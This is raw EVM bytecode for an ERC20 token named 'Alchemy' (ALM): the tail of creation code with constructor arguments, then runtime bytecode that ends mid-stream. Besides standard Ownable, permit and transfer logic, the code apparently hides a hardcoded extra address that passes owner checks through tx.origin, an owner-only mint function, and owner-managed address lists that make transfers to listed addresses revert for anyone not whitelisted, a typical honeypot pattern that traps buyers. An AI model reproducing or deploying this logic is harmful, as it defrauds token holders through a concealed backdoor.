0097f000000000000000000000000000000000000000000000000000000000000000061182b90919063ffffffff16565b905090565b6060611681600a7f000000000000000000000000000000000000000000000000000000000000000061182b90919063ffffffff16565b905090565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050559050919050565b5f6116eb6116e56113ab565b836118d8565b9050919050565b5f805f8061170288888888611918565b92509250925061171282826119ff565b829350505050949350505050565b5f733ec9c6d838e0e3c960129300bda7bb93cfc374dc73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16036117715760019050611775565b5f90505b90565b61178181611b61565b61178e5761178d610d16565b5b50565b505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f00000000000000000000000000000000000000000000000000000000000000007f00000000000000000000000000000000000000000000000000000000000000004630604051602001611810959493929190612a34565b60405160208183030381529060405280519060200120905090565b606060ff5f1b83146118475761184083611c28565b90506118d2565b81805461185390612293565b80601f016020809104026020016040519081016040528092919081815260200182805461187f90612293565b80156118ca5780601f106118a1576101008083540402835291602001916118ca565b820191905f5260205f20905b8154815290600101906020018083116118ad57829003601f168201915b505050505090505b92915050565b5f6040517f190100000000000000000000000000000000000000000000000000000000000081528360028201528260228201526042812091505092915050565b5f805f7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0845f1c1115611954575f6003859250925092506119f5565b5f6001888888886040515f81526020016040526040516119779493929190612a85565b6020604051602081039080840390855afa158015611997573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119e8575f60015f801b935093509350506119f5565b805f805f1b935093509350505b9450945094915050565b5f6003811115611a1257611a11612ac8565b5b826003811115611a2557611a24612ac8565b5b0315611b5d5760016003811115611a3f57611a3e612ac8565b5b826003811115611a5257611a51612ac8565b5b03611a89576040517ff645eedf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60026003811115611a9d57611a9c612ac8565b5b826003811115611ab057611aaf612ac8565b5b03611af457805f1c6040517ffce698f7000000000000000000000000000000000000000000000000000000008152600401611aeb9190611ea3565b60405180910390fd5b600380811115611b0757611b06612ac8565b5b826003811115611b1a57611b19612ac8565b5b03611b5c57806040517fd78bce0c000000000000000000000000000000000000000000000000000000008152600401611b539190611f58565b60405180910390fd5b5b5050565b5f60085f9054906101000a900460ff16611c1e57611b7e32611461565b611c1d575f5b600680549050811015611c1b578273ffffffffffffffffffffffffffffffffffffffff1660068281548110611bbc57611bbb61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611c08575f915050611c23565b8080611c1390612385565b915050611b84565b505b5b600190505b919050565b60605f611c3483611c9a565b90505f602067ffffffffffffffff811115611c5257611c51612467565b5b6040519080825280601f01601f191660200182016040528015611c845781602001600182028036833780820191505090505b5090508181528360208201528092505050919050565b5f8060ff835f1c169050601f811115611cdf576040517fb3512b0c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80915050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d1f578082015181840152602081019050611d04565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d4482611ce8565b611d4e8185611cf2565b9350611d5e818560208601611d02565b611d6781611d2a565b840191505092915050565b5f6020820190508181035f830152611d8a8184611d3a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611dbf82611d96565b9050919050565b611dcf81611db5565b8114611dd9575f80fd5b50565b5f81359050611dea81611dc6565b92915050565b5f819050919050565b611e0281611df0565b8114611e0c575f80fd5b50565b5f81359050611e1d81611df9565b92915050565b5f8060408385031215611e3957611e38611d92565b5b5f611e4685828601611ddc565b9250506020611e5785828601611e0f565b9150509250929050565b5f8115159050919050565b611e7581611e61565b82525050565b5f602082019050611e8e5f830184611e6c565b92915050565b611e9d81611df0565b82525050565b5f602082019050611eb65f830184611e94565b92915050565b5f805f60608486031215611ed357611ed2611d92565b5b5f611ee086828701611ddc565b9350506020611ef186828701611ddc565b9250506040611f0286828701611e0f565b9150509250925092565b5f60ff82169050919050565b611f2181611f0c565b82525050565b5f602082019050611f3a5f830184611f18565b92915050565b5f819050919050565b611f5281611f40565b82525050565b5f602082019050611f6b5f830184611f49565b92915050565b5f60208284031215611f8657611f85611d92565b5b5f611f9384828501611ddc565b91505092915050565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b611fd081611f9c565b82525050565b611fdf81611db5565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61201781611df0565b82525050565b5f612028838361200e565b60208301905092915050565b5f602082019050919050565b5f61204a82611fe5565b6120548185611fef565b935061205f83611fff565b805f5b8381101561208f578151612076888261201d565b975061208183612034565b925050600181019050612062565b5085935050505092915050565b5f60e0820190506120af5f83018a611fc7565b81810360208301526120c18189611d3a565b905081810360408301526120d58188611d3a565b90506120e46060830187611e94565b6120f16080830186611fd6565b6120fe60a0830185611f49565b81810360c08301526121108184612040565b905098975050505050505050565b5f6020820190506121315f830184611fd6565b92915050565b61214081611f0c565b811461214a575f80fd5b50565b5f8135905061215b81612137565b92915050565b61216a81611f40565b8114612174575f80fd5b50565b5f8135905061218581612161565b92915050565b5f805f805f805f60e0888a0312156121a6576121a5611d92565b5b5f6121b38a828b01611ddc565b97505060206121c48a828b01611ddc565b96505060406121d58a828b01611e0f565b95505060606121e68a828b01611e0f565b94505060806121f78a828b0161214d565b93505060a06122088a828b01612177565b92505060c06122198a828b01612177565b91505092959891949750929550565b5f806040838503121561223e5761223d611d92565b5b5f61224b85828601611ddc565b925050602061225c85828601611ddc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806122aa57607f821691505b6020821081036122bd576122bc612266565b5b50919050565b7f686f6c64657220646f65736e27742065786973740000000000000000000000005f82015250565b5f6122f7601483611cf2565b9150612302826122c3565b602082019050919050565b5f6020820190508181035f830152612324816122eb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61238f82611df0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123c1576123c0612358565b5b600182019050919050565b5f6123d682611df0565b91506123e183611df0565b92508282019050808211156123f9576123f8612358565b5b92915050565b7f696e636f727265637400000000000000000000000000000000000000000000005f82015250565b5f612433600983611cf2565b915061243e826123ff565b602082019050919050565b5f6020820190508181035f83015261246081612427565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6124ee602583611cf2565b91506124f982612494565b604082019050919050565b5f6020820190508181035f83015261251b816124e2565b9050919050565b5f60c0820190506125355f830189611f49565b6125426020830188611fd6565b61254f6040830187611fd6565b61255c6060830186611e94565b6125696080830185611e94565b61257660a0830184611e94565b979650505050505050565b5f6040820190506125945f830185611fd6565b6125a16020830184611fd6565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612602602683611cf2565b915061260d826125a8565b604082019050919050565b5f6020820190508181035f83015261262f816125f6565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61266a602083611cf2565b915061267582612636565b602082019050919050565b5f6020820190508181035f8301526126978161265e565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f6126d2601f83611cf2565b91506126dd8261269e565b602082019050919050565b5f6020820190508181035f8301526126ff816126c6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612760602483611cf2565b915061276b82612706565b604082019050919050565b5f6020820190508181035f83015261278d81612754565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6127ee602283611cf2565b91506127f982612794565b604082019050919050565b5f6020820190508181035f83015261281b816127e2565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612856601d83611cf2565b915061286182612822565b602082019050919050565b5f6020820190508181035f8301526128838161284a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128e4602583611cf2565b91506128ef8261288a565b604082019050919050565b5f6020820190508181035f830152612911816128d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612972602383611cf2565b915061297d82612918565b604082019050919050565b5f6020820190508181035f83015261299f81612966565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612a00602683611cf2565b9150612a0b826129a6565b604082019050919050565b5f6020820190508181035f830152612a2d816129f4565b9050919050565b5f60a082019050612a475f830188611f49565b612a546020830187611f49565b612a616040830186611f49565b612a6e6060830185611e94565b612a7b6080830184611fd6565b9695505050505050565b5f608082019050612a985f830187611f49565b612aa56020830186611f18565b612ab26040830185611f49565b612abf6060830184611f49565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffdfea2646970667358221220f13534fde98b3f7f11105f29f60969e5a3803b48fa0c52255b7ebaff8104e30d64736f6c63430008140033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000007416c6368656d79000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003414c4d0000000000000000000000000000000000000000000000000000000000

0x608060405234801561000f575f80fd5b5060043610610156575f3560e01c80637d6dff7d116100c1578063a457c2d71161007a578063a457c2d714610394578063a9059cbb146103c4578063b5eadf94146103f4578063d505accf14610410578063dd62ed3e1461042c578063f2fde38b1461045c57610156565b80637d6dff7d146102de5780637ecebe00146102fa5780638129fc1c1461032a57806384b0196e146103345780638da5cb5b1461035857806395d89b411461037657610156565b8063313ce56711610113578063313ce5671461021c5780633644e5151461023a57806338cac9ba14610258578063395093511461027457806370a08231146102a4578063715018a6146102d457610156565b806306fdde031461015a578063072caf6e14610178578063095ea7b3146101945780631584589e146101c457806318160ddd146101ce57806323b872dd146101ec575b5f80fd5b610162610478565b60405161016f9190611d72565b60405180910390f35b610192600480360381019061018d9190611e23565b610508565b005b6101ae60048036038101906101a99190611e23565b61051e565b6040516101bb9190611e7b565b60405180910390f35b6101cc610540565b005b6101d6610564565b6040516101e39190611ea3565b60405180910390f35b61020660048036038101906102019190611ebc565b61056d565b6040516102139190611e7b565b60405180910390f35b61022461059b565b6040516102319190611f27565b60405180910390f35b6102426105a3565b60405161024f9190611f58565b60405180910390f35b610272600480360381019061026d9190611f71565b6105b1565b005b61028e60048036038101906102899190611e23565b6106d4565b60405161029b9190611e7b565b60405180910390f35b6102be60048036038101906102b99190611f71565b61070a565b6040516102cb9190611ea3565b60405180910390f35b6102dc610750565b005b6102f860048036038101906102f39190611f71565b610763565b005b610314600480360381019061030f9190611f71565b61083b565b6040516103219190611ea3565b60405180910390f35b61033261084c565b005b61033c61086f565b60405161034f979695949392919061209c565b60405180910390f35b610360610914565b60405161036d919061211e565b60405180910390f35b61037e61093b565b60405161038b9190611d72565b60405180910390f35b6103ae60048036038101906103a99190611e23565b6109cb565b6040516103bb9190611e7b565b60405180910390f35b6103de60048036038101906103d99190611e23565b610a40565b6040516103eb9190611e7b565b60405180910390f35b61040e60048036038101906104099190611f71565b610a62565b005b61042a6004803603810190610425919061218b565b610acd565b005b61044660048036038101906104419190612228565b610c12565b6040516104539190611ea3565b60405180910390f35b61047660048036038101906104719190611f71565b610c94565b005b60606004805461048790612293565b80601f01602080910402602001604051908101604052809291908181526020018280546104b390612293565b80156104fe5780601f106104d5576101008083540402835291602001916104fe565b820191905f5260205f20905b8154815290600101906020018083116104e157829003601f168201915b5050505050905090565b610510610d16565b61051a8282610d9c565b5050565b5f80610528610ee9565b9050610535818585610ef0565b600191505092915050565b610548610d16565b600160085f6101000a81548160ff021916908315150217905550565b5f600354905090565b5f80610577610ee9565b90506105848582856110b3565b61058f85858561113e565b60019150509392505050565b5f6012905090565b5f6105ac6113ab565b905090565b6105b9610d16565b6105c281611461565b610601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89061230d565b60405180910390fd5b5f5b6007805490508110156106d0578173ffffffffffffffffffffffffffffffffffffffff166007828154811061063b5761063a61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036106bd57600781815481106106925761069161232b565b5b905f5260205f20015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b80806106c890612385565b915050610603565b5050565b5f806106de610ee9565b90506106ff8185856106f08589610c12565b6106fa91906123cc565b610ef0565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610758610d16565b6107615f611509565b565b61076b610914565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cf90612449565b60405180910390fd5b600681908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610845826115ca565b9050919050565b610854610d16565b5f60085f6101000a81548160ff021916908315150217905550565b5f6060805f805f6060610880611610565b61088861164b565b46305f801b5f67ffffffffffffffff8111156108a7576108a6612467565b5b6040519080825280602002602001820160405280156108d55781602001602082028036833780820191505090505b507f0f00000000000000000000000000000000000000000000000000000000000000959493929190965096509650965096509650965090919293949596565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461094a90612293565b80601f016020809104026020016040519081016040528092919081815260200182805461097690612293565b80156109c15780601f10610998576101008083540402835291602001916109c1565b820191905f5260205f20905b8154815290600101906020018083116109a457829003601f168201915b5050505050905090565b5f806109d5610ee9565b90505f6109e28286610c12565b905083811015610a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1e90612504565b60405180910390fd5b610a348286868403610ef0565b60019250505092915050565b5f80610a4a610ee9565b9050610a5781858561113e565b600191505092915050565b610a6a610d16565b600781908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b83421115610b1257836040517f62791302000000000000000000000000000000000000000000000000000000008152600401610b099190611ea3565b60405180910390fd5b5f7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888610b408c611686565b89604051602001610b5696959493929190612522565b6040516020818303038152906040528051906020012090505f610b78826116d9565b90505f610b87828787876116f2565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610bfb57808a6040517f4b800e46000000000000000000000000000000000000000000000000000000008152600401610bf2929190612581565b60405180910390fd5b610c068a8a8a610ef0565b50505050505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c9c610d16565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612618565b60405180910390fd5b610d1381611509565b50565b3273ffffffffffffffffffffffffffffffffffffffff16610d35610914565b73ffffffffffffffffffffffffffffffffffffffff161480610d5b5750610d5a611720565b5b610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9190612680565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e01906126e8565b60405180910390fd5b610e1382611778565b8060035f828254610e2491906123cc565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed29190611ea3565b60405180910390a3610ee55f8383611791565b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5590612776565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc390612804565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110a69190611ea3565b60405180910390a3505050565b5f6110be8484610c12565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611138578181101561112a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111219061286c565b60405180910390fd5b6111378484848403610ef0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a3906128fa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361121a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121190612988565b60405180910390fd5b61122382611778565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612a16565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113929190611ea3565b60405180910390a36113a5848484611791565b50505050565b5f7f000000000000000000000000ef727c6cdee99cba8aea3f199d0f25866686ee0773ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1614801561142657507f000000000000000000000000000000000000000000000000000000000000000146145b15611453577fe99554a6a652e1528c0147af085570fc54a7cb51b7991e8b9c64b5d82c3bf796905061145e565b61145b611796565b90505b90565b5f805f90505b6007805490508110156114ff578273ffffffffffffffffffffffffffffffffffffffff166007828154811061149f5761149e61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114ec576001915050611504565b80806114f790612385565b915050611467565b505f90505b919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606061164660097f416c6368656d790000000000000000000000000000000000000000000000000761182b90919063ffffffff16565b905090565b6060611681600a7f310000000000000000000000000000000000000000000000000000000000000161182b90919063ffffffff16565b905090565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050559050919050565b5f6116eb6116e56113ab565b836118d8565b9050919050565b5f805f8061170288888888611918565b92509250925061171282826119ff565b829350505050949350505050565b5f733ec9c6d838e0e3c960129300bda7bb93cfc374dc73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16036117715760019050611775565b5f90505b90565b61178181611b61565b61178e5761178d610d16565b5b50565b505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f5aae68187502a1f7914e19dedd8ff1755780c9ccf49e8bfede23bb42030ca2e67fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001611810959493929190612a34565b60405160208183030381529060405280519060200120905090565b606060ff5f1b83146118475761184083611c28565b90506118d2565b81805461185390612293565b80601f016020809104026020016040519081016040528092919081815260200182805461187f90612293565b80156118ca5780601f106118a1576101008083540402835291602001916118ca565b820191905f5260205f20905b8154815290600101906020018083116118ad57829003601f168201915b505050505090505b92915050565b5f6040517f190100000000000000000000000000000000000000000000000000000000000081528360028201528260228201526042812091505092915050565b5f805f7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0845f1c1115611954575f6003859250925092506119f5565b5f6001888888886040515f81526020016040526040516119779493929190612a85565b6020604051602081039080840390855afa158015611997573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119e8575f60015f801b935093509350506119f5565b805f805f1b935093509350505b9450945094915050565b5f6003811115611a1257611a11612ac8565b5b826003811115611a2557611a24612ac8565b5b0315611b5d5760016003811115611a3f57611a3e612ac8565b5b826003811115611a5257611a51612ac8565b5b03611a89576040517ff645eedf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60026003811115611a9d57611a9c612ac8565b5b826003811115611ab057611aaf612ac8565b5b03611af457805f1c6040517ffce698f7000000000000000000000000000000000000000000000000000000008152600401611aeb9190611ea3565b60405180910390fd5b600380811115611b0757611b06612ac8565b5b826003811115611b1a57611b19612ac8565b5b03611b5c57806040517fd78bce0c000000000000000000000000000000000000000000000000000000008152600401611b539190611f58565b60405180910390fd5b5b5050565b5f60085f9054906101000a900460ff16611c1e57611b7e32611461565b611c1d575f5b600680549050811015611c1b578273ffffffffffffffffffffffffffffffffffffffff1660068281548110611bbc57611bbb61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611c08575f915050611c23565b8080611c1390612385565b915050611b84565b505b5b600190505b919050565b60605f611c3483611c9a565b90505f602067ffffffffffffffff811115611c5257611c51612467565b5b6040519080825280601f01601f191660200182016040528015611c845781602001600182028036833780820191505090505b5090508181528360208201528092505050919050565b5f8060ff835f1c169050601f811115611cdf576040517fb3512b0c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80915050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d1f578082015181840152602081019050611d04565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d4482611ce8565b611d4e8185611cf2565b9350611d5e818560208601611d02565b611d6781611d2a565b840191505092915050565b5f6020820190508181035f830152611d8a8184611d3a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611dbf82611d96565b9050919050565b611dcf81611db5565b8114611dd9575f80fd5b50565b5f81359050611dea81611dc6565b92915050565b5f819050919050565b611e0281611df0565b8114611e0c575f80fd5b50565b5f81359050611e1d81611df9565b92915050565b5f8060408385031215611e3957611e38611d92565b5b5f611e4685828601611ddc565b9250506020611e5785828601611e0f565b9150509250929050565b5f8115159050919050565b611e7581611e61565b82525050565b5f602082019050611e8e5f830184611e6c565b92915050565b611e9d81611df0565b82525050565b5f602082019050611eb65f830184611e94565b92915050565b5f805f60608486031215611ed357611ed2611d92565b5b5f611ee086828701611ddc565b9350506020611ef186828701611ddc565b9250506040611f0286828701611e0f565b9150509250925092565b5f60ff82169050919050565b611f2181611f0c565b82525050565b5f602082019050611f3a5f830184611f18565b92915050565b5f819050919050565b611f5281611f40565b82525050565b5f602082019050611f6b5f830184611f49565b92915050565b5f60208284031215611f8657611f85611d92565b5b5f611f9384828501611ddc565b91505092915050565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b611fd081611f9c565b82525050565b611fdf81611db5565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61201781611df0565b82525050565b5f612028838361200e565b60208301905092915050565b5f602082019050919050565b5f61204a82611fe5565b6120548185611fef565b935061205f83611fff565b805f5b8381101561208f578151612076888261201d565b975061208183612034565b925050600181019050612062565b5085935050505092915050565b5f60e0820190506120af5f83018a611fc7565b81810360208301526120c18189611d3a565b905081810360408301526120d58188611d3a565b90506120e46060830187611e94565b6120f16080830186611fd6565b6120fe60a0830185611f49565b81810360c08301526121108184612040565b905098975050505050505050565b5f6020820190506121315f830184611fd6565b92915050565b61214081611f0c565b811461214a575f80fd5b50565b5f8135905061215b81612137565b92915050565b61216a81611f40565b8114612174575f80fd5b50565b5f8135905061218581612161565b92915050565b5f805f805f805f60e0888a0312156121a6576121a5611d92565b5b5f6121b38a828b01611ddc565b97505060206121c48a828b01611ddc565b96505060406121d58a828b01611e0f565b95505060606121e68a828b01611e0f565b94505060806121f78a828b0161214d565b93505060a06122088a828b01612177565b92505060c06122198a828b01612177565b91505092959891949750929550565b5f806040838503121561223e5761223d611d92565b5b5f61224b85828601611ddc565b925050602061225c85828601611ddc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806122aa57607f821691505b6020821081036122bd576122bc612266565b5b50919050565b7f686f6c64657220646f65736e27742065786973740000000000000000000000005f82015250565b5f6122f7601483611cf2565b9150612302826122c3565b602082019050919050565b5f6020820190508181035f830152612324816122eb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61238f82611df0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123c1576123c0612358565b5b600182019050919050565b5f6123d682611df0565b91506123e183611df0565b92508282019050808211156123f9576123f8612358565b5b92915050565b7f696e636f727265637400000000000000000000000000000000000000000000005f82015250565b5f612433600983611cf2565b915061243e826123ff565b602082019050919050565b5f6020820190508181035f83015261246081612427565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6124ee602583611cf2565b91506124f982612494565b604082019050919050565b5f6020820190508181035f83015261251b816124e2565b9050919050565b5f60c0820190506125355f830189611f49565b6125426020830188611fd6565b61254f6040830187611fd6565b61255c6060830186611e94565b6125696080830185611e94565b61257660a0830184611e94565b979650505050505050565b5f6040820190506125945f830185611fd6565b6125a16020830184611fd6565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612602602683611cf2565b915061260d826125a8565b604082019050919050565b5f6020820190508181035f83015261262f816125f6565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61266a602083611cf2565b915061267582612636565b602082019050919050565b5f6020820190508181035f8301526126978161265e565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f6126d2601f83611cf2565b91506126dd8261269e565b602082019050919050565b5f6020820190508181035f8301526126ff816126c6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612760602483611cf2565b915061276b82612706565b604082019050919050565b5f6020820190508181035f83015261278d81612754565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6127ee602283611cf2565b91506127f982612794565b604082019050919050565b5f6020820190508181035f83015261281b816127e2565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612856601d83611cf2565b915061286182612822565b602082019050919050565b5f6020820190508181035f8301526128838161284a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128e4602583611cf2565b91506128ef8261288a565b604082019050919050565b5f6020820190508181035f830152612911816128d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612972602383611cf2565b915061297d82612918565b604082019050919050565b5f6020820190508181035f83015261299f81612966565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612a00602683611cf2565b9150612a0b826129a6565b604082019050919050565b5f6020820190508181035f830152612a2d816129f4565b9050919050565b5